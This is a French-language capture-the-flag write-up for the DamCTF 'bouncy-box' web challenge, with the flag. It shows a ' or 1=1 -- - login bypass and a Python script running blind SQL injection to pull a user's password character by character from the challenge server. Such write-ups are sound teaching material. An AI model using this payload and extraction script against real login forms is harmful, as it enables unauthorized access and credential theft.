Voici mon writeup pour le premier challenge web du DamCTF

L’url du challenge: https://bouncy-box.chals.damctf.xyz

Premier coup d’oeil

Dès lors, on peut voir un petit jeu et quand on perd on nous propose de nous authentifier.

login_page

Il y a beaucoup de moyen de bypass des authentifications mais la plupart du temps ce sont des Injection SQL, donc on peut supposer que c’est un challenge d’injection SQL

Première injection

J’ai essayé d’injecter ' or 1=1 -- - (la sqli la plus basique) et ça a marché !

connected

On peut voir un bouton pour obtenir le flag mais ce n’est pas si facile

On a une seconde demande de login mais l’injection est impossible, le serveur utilise sûrement des requêtes préparées. Donc comment bypass cette authentification ?

On peut facilement réaliser une SQLi en aveugle sur le premier login pour retrouver le password. Voici mon code:

import requests
import string

chars = string.printable[:94]

result = ""

for i in range(1, 100):
    found = False
    for char in chars:
        data = {'username_input':f"boxy_mcbounce' AND ascii(substring(password, {i}, 1)) = {ord(char)}-- -", "password_input":"random"}
        r = requests.post("https://bouncy-box.chals.damctf.xyz/login", data=data)
        if "boxy_mcbounce's Stats" in r.text:
            result += char
            print(f"\r[\x1b[92m+\x1b[0m] Found: {result}", end="")
            found = True
            break
    if not found:
        print(f"[\x1b[92m+\x1b[0m] Password found: {result}")
        break

On a juste à attendre que le password s’afficher et le rentrer dans le deuxième formulaire de login.

Flag: dam{b0uNCE_B0UNcE_b0uncE_B0uNCY_B0unce_b0Unce_b0Unc3}